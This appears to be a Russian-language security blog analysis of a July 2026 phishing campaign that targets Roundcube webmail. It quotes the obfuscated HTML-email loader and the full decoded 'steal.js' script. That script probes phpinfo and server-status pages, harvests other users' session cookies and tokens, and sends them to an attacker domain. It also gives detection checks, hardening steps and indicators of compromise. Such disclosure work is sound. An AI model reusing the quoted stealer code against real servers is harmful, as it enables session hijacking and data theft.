TL;DR: Разбираем свежую фишинговую кампанию июля 2026. Письмо «Документы на подпись» → обфусцированный JS → сканер инфраструктуры сервера → кража сессий других пользователей Roundcube. VirusTotal чист. Разбираем по шагам, даём рекомендации.
Утро 8 июля 2026 года. В почтовый ящик падает письмо с темой «Документы на подпись!» от, казалось бы, реального отправителя e.m.ksenofontova@diacare-soft.ru. DKIM валиден, SPF проходит, SpamAssassin ставит -5.8 — всё чисто.
Открываем исходник в Thunderbird. В теле HTML видим подозрительный атрибут:
<body onanimationstart="eval(String.fromCharCode(118,97,114,32,115,61,100,111,99, ...))">
Декодируем массив — получаем:
var s = document.createElement('script'); s.src = 'https://m.tep35.ru/cookie/steal.js'; document.body.appendChild(s);
Письмо само по себе ничего не делает в почтовом клиенте (Thunderbird не исполняет JS), но стоит открыть его в веб-интерфейсе Roundcube — и код выполнится в контексте домена почтового сервера.
wget https://m.tep35.ru/cookie/steal.js — файл скачивается без проблем. Ни геоблокировки, ни проверки User-Agent. Вот его код:
var d = ['', '/rc', '/mail', '/roundcube', '/webmail', '/wmail'], f = ['/i.php', '/info.php', '/phpinfo.php', '/php_info.php', '/test.php', '/p.php', '/phpinfo.php5'], p = []; d.forEach(function(x) { f.forEach(function(y) { p.push(x + y); }); }); p.push('/server-status', '/status?full', '/?_task=illegal', '/?_task=debug'); p.forEach(function(u) { fetch(u, {credentials: 'include'}) .then(r => r.text()) .then(h => { var s = h.match(/roundcube_sessid[=:]\s*([a-zA-Z0-9_-]+)/i), a = h.match(/roundcube_sessauth[=:]\s*([a-zA-Z0-9_-]+)/i), root = h.match(/\/var\/www\/[^<\s"'\]\}\|\\]{3,}/i) || h.match(/\/home\/[^<\s"'\]\}\|\\]{3,}/i) || h.match(/\/srv\/[^<\s"'\]\}\|\\]{3,}/i) || h.match(/C:\\(?:xampp|wamp|inetpub|www)[^<\s"'\]\}\|\\]{3,}/i); if (s || a) { var c = (s ? 'roundcube_sessid=' + s[1] : '') + (a ? '; roundcube_sessauth=' + a[1] : ''); var info = site + '|' + u + '|' + c; if (root) info += '|ROOT:' + root[0]; new Image().src = 'https://m.tep35.ru/cookie/ldx.php?c=' + encodeURIComponent(info); } }); });
Это не простой стилер cookie текущего пользователя. Это сканер внутренней инфраструктуры почтового сервера.
Скрипт составляет 35 путей вида:
/rc/phpinfo.php/mail/server-status/roundcube/i.php/?_task=debugи отправляет на каждый fetch() с credentials: 'include' — то есть с cookie текущего пользователя.
В теле ответа он ищет регулярками:
roundcube_sessid — ID сессии Roundcuberoundcube_sessauth — токен аутентификацииЭти данные могут утекать, если на сервере:
phpinfo() — показывает переменные окружения и cookie недавних запросовmod_status (/server-status) — показывает URL и заголовки последних запросов, включая cookie других пользователейРегулярки ищут /var/www/..., /home/..., C:\xampp\... — чтобы злоумышленники понимали структуру сервера для дальнейших атак.
new Image().src = 'https://m.tep35.ru/cookie/ldx.php?c=' + encodeURIComponent(info);
Все найденные сессии, токены и пути отправляются на сервер злоумышленников через запрос картинки (обходит CORS).
Обычный стилер ворует сессию того, кто открыл письмо. Этот — делает горизонтальное перемещение по серверу:
Результат: скомпрометирован не один ящик, а все, чьи данные утекли через phpinfo() или /server-status.
Загружаем steal.js на VirusTotal — ноль обнаружений. Почему?
fetch, RegExp, Image)eval, document.write, попыток эксплуатации уязвимостей браузераАнтивирусы не видят угрозу, потому что атака эксплуатирует не уязвимость браузера, а неправильную конфигурацию сервера.
В тот же день приходит второе письмо с другого сервера:
| Параметр | Письмо №1 | Письмо №2 |
|---|---|---|
| Сервер | mail.nefrosovet.ru | mail.ams-chemical.ru |
| Скомпрометированный ящик | e.m.ksenofontova@diacare-soft.ru | e-com@ams-chemical.ru |
| Реальный IP | 146.70.124.207 (M247) | 138.199.34.135 (Datacamp) |
| Домен стилера | m.tep35.ru | secdev.space |
| Тема | «Документы на подпись!» | «Бухотчётс» |
| Message-ID | ...@kali | ...@kali |
| X-Mailer | «Бухгалтерия» | «Бухгалтерия» |
Общие признаки:
Message-ID содержит @kali — хостнейм дистрибутива Kali Linuxhelo=[127.0.1.1] — явная попытка скрыть реальный хостX-Mailer: Бухгалтерия — фейковый почтовый клиентЭто одна группа атакующих с автоматизированным инструментарием.
Прямо сейчас проверьте, не отдаёт ли ваш сервер чувствительные данные:
curl -I https://ваш-домен/phpinfo.php curl -I https://ваш-домен/info.php curl -I https://ваш-домен/rc/phpinfo.php curl -I https://ваш-домен/mail/phpinfo.php curl -I https://ваш-домен/roundcube/phpinfo.php curl -I https://ваш-домен/webmail/phpinfo.php
Если возвращается 200 OK — немедленно закройте доступ.
curl https://ваш-домен/server-status
Если видите список запросов с cookie и URL — немедленно отключите mod_status или ограничьте доступ по IP.
Проверьте конфигурацию Roundcube (config/config.inc.php):
$config['debug_level'] = 1; // должно быть 0 на продакшене $config['enable_installer'] = false; // должно быть false
phpinfo(), server-status, debug-режимы должны быть недоступны извне.После публикации статьи злоумышленники могут сменить домены и IP. Индикаторы компрометации (IOC):
Домены:
m.tep35.rusecdev.spaceURL эксфильтрации:
https://m.tep35.ru/cookie/ldx.phphttps://secdev.space/cookie/ldx.php (предположительно)IP отправителей:
146.70.124.207 (M247 Europe Infra)138.199.34.135 (Datacamp/Cdn77)Характерные признаки писем:
Message-ID содержит @kaliX-Mailer: Бухгалтерияhelo=[127.0.1.1]-=0x4e494b=-, инженер, программист ...